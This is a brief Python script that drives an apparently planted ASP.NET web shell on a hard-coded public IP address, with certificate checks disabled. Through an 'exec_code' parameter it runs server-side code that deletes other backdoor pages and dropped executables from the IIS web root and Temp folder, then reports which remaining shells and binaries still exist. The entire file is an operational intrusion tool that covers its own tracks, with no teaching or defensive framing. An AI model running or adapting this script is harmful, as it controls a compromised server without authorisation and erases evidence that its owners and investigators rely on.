#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://213.6.54.59/aspnet_client/movvtf.aspx"
H = {'Content-Type': 'application/x-www-form-urlencoded'}
code = ('try{System.IO.File.Delete("C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\cmd.aspx");}catch(e){};'
        'try{System.IO.File.Delete("C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\cmd2.aspx");}catch(e){};'
        'try{System.IO.File.Delete("C:\\\\Windows\\\\Temp\\\\z9.exe");}catch(e){};'
        'Response.Write("CLEAN ok; c.aspx="+System.IO.File.Exists("C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\c.aspx")'
        '+" a.exe="+System.IO.File.Exists("C:\\\\Windows\\\\Temp\\\\a.exe"));')
r = requests.post(EVAL, headers=H, params={"exec_code": code}, verify=False, timeout=30)
print(r.status_code, r.text.split('!BD')[0][:120])